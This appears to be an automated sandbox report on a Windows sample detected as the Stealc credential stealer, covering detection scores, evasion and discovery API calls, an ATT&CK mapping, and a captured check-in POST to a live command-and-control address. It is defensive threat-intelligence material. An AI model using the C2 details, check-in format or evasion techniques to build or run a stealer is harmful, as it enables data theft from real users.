Code function: 0_2_00FB45C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00FB45C0

Source: C:\Users\user\Desktop\file.exe

0_2_00FC9860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FC9750 mov eax, dword ptr fs:[00000030h]

0_2_00FC9750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FC78E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00FC78E0

Source: all processes

Thread injection, dropped files, key value created, disk infection and DNS query: no activity detected

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 6448, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FC9600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00FC9600

Source: file.exe	Binary or memory string: u@Program Manager
Source: file.exe, 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: @Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00FC7B90

Source: C:\Users\user\Desktop\file.exe

Queries volume information: C:\ VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FC7980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00FC7980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FC7850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00FC7850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00FC7A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00FC7A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.fb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1291738753.0000000000DE3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1251438236.0000000005340000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6448, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.fb0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1291738753.0000000000DE3000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1251438236.0000000005340000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 6448, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Command and Scripting Interpreter	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	2 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	11 Native API	Boot or Logon Initialization Scripts	1 DLL Side-Loading	33 Virtualization/Sandbox Evasion	LSASS Memory	641 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	2 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	11 Disable or Modify Tools	Security Account Manager	33 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	13 Process Discovery	Distributed Component Object Model	Input Capture	12 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 Account Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	4 Obfuscated Files or Information	Cached Domain Credentials	1 System Owner/User Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	12 Software Packing	DCSync	1 File and Directory Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	324 System Information Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label
file.exe	47%	ReversingLabs	Win32.Trojan.Generic
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
http://185.215.113.37/	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/e2b1563c6670f193.phpD_	file.exe, 00000000.00000002.1291738753.0000000000E2C000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37	file.exe, 00000000.00000002.1291738753.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.phpX_	file.exe, 00000000.00000002.1291738753.0000000000E2C000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/3O	file.exe, 00000000.00000002.1291738753.0000000000E2C000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php$	file.exe, 00000000.00000002.1291738753.0000000000E43000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37g	file.exe, 00000000.00000002.1291738753.0000000000DCE000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.php8_Tv	file.exe, 00000000.00000002.1291738753.0000000000E2C000.00000004.00000020.00020000.00000000.sdmp	true		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.215.113.37	unknown	Portugal		206894	WHOLESALECONNECTIONSNL	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1540505
Start date and time:	2024-10-23 20:54:07 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	14
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.evad.winEXE@1/0@0/1
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 80% Number of executed functions: 19 Number of non-executed functions: 86
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, SgrmBroker.exe, conhost.exe, svchost.exe
Excluded domains from analysis (whitelisted): otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, time.windows.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: file.exe

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.37	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37/e2b1563c6670f193.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.37/e2b1563c6670f193.php

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	7.947854852523852
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	file.exe
File size:	1'911'808 bytes
MD5:	de1624f6c5d98d559c64c9c30359b942
SHA1:	b02c82eeb4d1e7b768633ef276f182b653db29fc
SHA256:	3a98e0f2785d57188cab067e1c48a2355d69212f432380d94315db75d1be30ce
SHA512:	804cba17f917d2e96d6da73df0effe38548970d187da02b8e35f13bdb8ea144aa2b5f2d04a909290d64c01b332cff3418bfb949419fd1e40c4b107100ca86ebd
SSDEEP:	49152:wCU6bxg4GWZLVkWdnFjfrqFoG+dgRo50CHvpTHv8M:wCU6bW4GukhR7CHa
TLSH:	6195331C4B65C735DED51279A7B714D4EBF9CF622BEA496BCE39813842C38883345AE0
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........C..............X.......m.......Y.......p.....y.........`...............\.......n.....Rich............PE..L...J..f...........

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0xac7000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x66F99A4A [Sun Sep 29 18:19:54 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	5
OS Version Minor:	1
File Version Major:	5
File Version Minor:	1
Subsystem Version Major:	5
Subsystem Version Minor:	1
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007F2A68E0D7EAh

Rich Headers

Programming Language:

[C++] VS2010 build 30319
[ASM] VS2010 build 30319
[ C ] VS2010 build 30319
[ C ] VS2008 SP1 build 30729
[IMP] VS2008 SP1 build 30729
[LNK] VS2010 build 30319

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25d050	0x64	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25d1f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x25b000	0x22800	c0f6193c923c9f934bee92c25548c491	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x25c000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x25d000	0x1000	0x200	c60c4959cc8d384ac402730cc6842bb0	False	0.1328125	data	0.9064079259880791	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x25e000	0x2bb000	0x200	e42f9513660ce256b57eb9013c8b7ce8	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
sacriosm	0x519000	0x1ad000	0x1aca00	904170064b081c41be2ceac36277faed	False	0.9950929799139691	data	7.954815877107788	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
bxtvqvzl	0x6c6000	0x1000	0x400	67e97bb3b3c59faa2dbfe2cc3ea0e4fe	False	0.7353515625	data	6.095704241402358	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x6c7000	0x3000	0x2200	0b62b2d2033ce3729c52e031602097e4	False	0.06456801470588236	DOS executable (COM)	0.7040644891945353	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-23T20:55:05.940663+0200	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.7	49699	185.215.113.37	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 23, 2024 20:55:04.723707914 CEST	49699	80	192.168.2.7	185.215.113.37
Oct 23, 2024 20:55:04.730773926 CEST	80	49699	185.215.113.37	192.168.2.7
Oct 23, 2024 20:55:04.730959892 CEST	49699	80	192.168.2.7	185.215.113.37
Oct 23, 2024 20:55:04.731997967 CEST	49699	80	192.168.2.7	185.215.113.37
Oct 23, 2024 20:55:04.737562895 CEST	80	49699	185.215.113.37	192.168.2.7
Oct 23, 2024 20:55:05.647269964 CEST	80	49699	185.215.113.37	192.168.2.7
Oct 23, 2024 20:55:05.647363901 CEST	49699	80	192.168.2.7	185.215.113.37
Oct 23, 2024 20:55:05.649559975 CEST	49699	80	192.168.2.7	185.215.113.37
Oct 23, 2024 20:55:05.656814098 CEST	80	49699	185.215.113.37	192.168.2.7
Oct 23, 2024 20:55:05.940581083 CEST	80	49699	185.215.113.37	192.168.2.7
Oct 23, 2024 20:55:05.940663099 CEST	49699	80	192.168.2.7	185.215.113.37
Oct 23, 2024 20:55:07.636113882 CEST	49699	80	192.168.2.7	185.215.113.37

HTTP Request Dependency Graph

185.215.113.37

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49699	185.215.113.37	80	6448	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 23, 2024 20:55:04.731997967 CEST	89	OUT	GET / HTTP/1.1 Host: 185.215.113.37 Connection: Keep-Alive Cache-Control: no-cache
Oct 23, 2024 20:55:05.647269964 CEST	203	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 18:55:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Oct 23, 2024 20:55:05.649559975 CEST	412	OUT	POST /e2b1563c6670f193.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IDBKKKKKFBGDGDHIDBGH Host: 185.215.113.37 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 44 31 38 30 31 45 34 43 42 37 42 31 39 35 33 34 34 38 30 31 39 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 44 42 4b 4b 4b 4b 4b 46 42 47 44 47 44 48 49 44 42 47 48 2d 2d 0d 0a Data Ascii: ------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="hwid"CD1801E4CB7B1953448019------IDBKKKKKFBGDGDHIDBGHContent-Disposition: form-data; name="build"doma------IDBKKKKKFBGDGDHIDBGH--
Oct 23, 2024 20:55:05.940581083 CEST	210	IN	HTTP/1.1 200 OK Date: Wed, 23 Oct 2024 18:55:05 GMT Server: Apache/2.4.52 (Ubuntu) Content-Length: 8 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 59 6d 78 76 59 32 73 3d Data Ascii: YmxvY2s=

Target ID:	0
Start time:	14:55:00
Start date:	23/10/2024
Path:	C:\Users\user\Desktop\file.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\file.exe"
Imagebase:	0xfb0000
File size:	1'911'808 bytes
MD5 hash:	DE1624F6C5D98D559C64C9C30359B942
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000002.1291738753.0000000000DE3000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000000.00000003.1251438236.0000000005340000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	7.4%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	10.1%
Total number of Nodes:	2000
Total number of Limit Nodes:	24

Executed Functions

Function 00FC9860 Relevance: 59.7, APIs: 33, Strings: 1, Instructions: 212
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcAddress.KERNEL32(77190000,00DDDBB0), ref: 00FC98A1
GetProcAddress.KERNEL32(77190000,00DDDBE0), ref: 00FC98BA
GetProcAddress.KERNEL32(77190000,00DDDAA8), ref: 00FC98D2
GetProcAddress.KERNEL32(77190000,00DE8C40), ref: 00FC98EA
GetProcAddress.KERNEL32(77190000,00DE8CD0), ref: 00FC9903
GetProcAddress.KERNEL32(77190000,00DE9168), ref: 00FC991B
GetProcAddress.KERNEL32(77190000,00DD5FF0), ref: 00FC9933
GetProcAddress.KERNEL32(77190000,00DD5FB0), ref: 00FC994C
GetProcAddress.KERNEL32(77190000,00DE8CA0), ref: 00FC9964
GetProcAddress.KERNEL32(77190000,00DE8D48), ref: 00FC997C
GetProcAddress.KERNEL32(77190000,00DE8BC8), ref: 00FC9995
GetProcAddress.KERNEL32(77190000,00DE8C10), ref: 00FC99AD
GetProcAddress.KERNEL32(77190000,00DD6130), ref: 00FC99C5
GetProcAddress.KERNEL32(77190000,00DE8BE0), ref: 00FC99DE
GetProcAddress.KERNEL32(77190000,00DE8C58), ref: 00FC99F6
GetProcAddress.KERNEL32(77190000,00DD5F50), ref: 00FC9A0E
GetProcAddress.KERNEL32(77190000,00DE8D60), ref: 00FC9A27
GetProcAddress.KERNEL32(77190000,00DE8C28), ref: 00FC9A3F
GetProcAddress.KERNEL32(77190000,00DD6150), ref: 00FC9A57
GetProcAddress.KERNEL32(77190000,00DE8D30), ref: 00FC9A70
GetProcAddress.KERNEL32(77190000,00DD6170), ref: 00FC9A88
LoadLibraryA.KERNEL32(00DE8CB8,?,00FC6A00), ref: 00FC9A9A
LoadLibraryA.KERNEL32(00DE8B98,?,00FC6A00), ref: 00FC9AAB
LoadLibraryA.KERNEL32(00DE8CE8,?,00FC6A00), ref: 00FC9ABD
LoadLibraryA.KERNEL32(00DE8C70,?,00FC6A00), ref: 00FC9ACF
LoadLibraryA.KERNEL32(00DE8BB0,?,00FC6A00), ref: 00FC9AE0
GetProcAddress.KERNEL32(76850000,00DE8C88), ref: 00FC9B02
GetProcAddress.KERNEL32(77040000,00DE8D00), ref: 00FC9B23
GetProcAddress.KERNEL32(77040000,00DE8BF8), ref: 00FC9B3B
GetProcAddress.KERNEL32(75A10000,00DE8D18), ref: 00FC9B5D
GetProcAddress.KERNEL32(75690000,00DD60B0), ref: 00FC9B7E
GetProcAddress.KERNEL32(776F0000,00DE9108), ref: 00FC9B9F
GetProcAddress.KERNEL32(776F0000,NtQueryInformationProcess), ref: 00FC9BB6

Strings

NtQueryInformationProcess, xrefs: 00FC9BAA

Memory Dump Source

Source File: 00000000.00000002.1291975250.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1291959440.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1291975250.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000013AC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.000000000148E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014BC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292119763.00000000014C9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292356432.00000000014CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292474851.0000000001676000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1292490179.0000000001677000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: AddressProc$LibraryLoad
String ID: NtQueryInformationProcess
API String ID: 2238633743-2781105232
Opcode ID: fa69084b1ebd50339cf777fd99be4abb4d28758e3a8faff5862cc1d2f9b3d25c
Instruction ID: b80a9100788e59a98e35383e9003f1d91a589ada4127d525645c6287aea7d499
Opcode Fuzzy Hash: fa69084b1ebd50339cf777fd99be4abb4d28758e3a8faff5862cc1d2f9b3d25c
Instruction Fuzzy Hash: D6A14CB55046019FD36CDBA9F598D5637F9FF88342B04863EA62E8320CD67EA8C1CB50

Function 00FB45C0 Relevance: 56.1, APIs: 2, Strings: 30, Instructions: 148
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00FB460E
VirtualProtect.KERNEL32(?,00000004,00000100,00000000), ref: 00FB479C

Strings

The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB4638
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB45F3
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB466D
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB473F
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB45DD
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB45D2
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB46AC
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB4678
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB471E
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB477B
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB4683
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB4734
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB4657
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB4662
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB4643
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB4622
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB46B7
The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom., xrefs: 00FB45C7
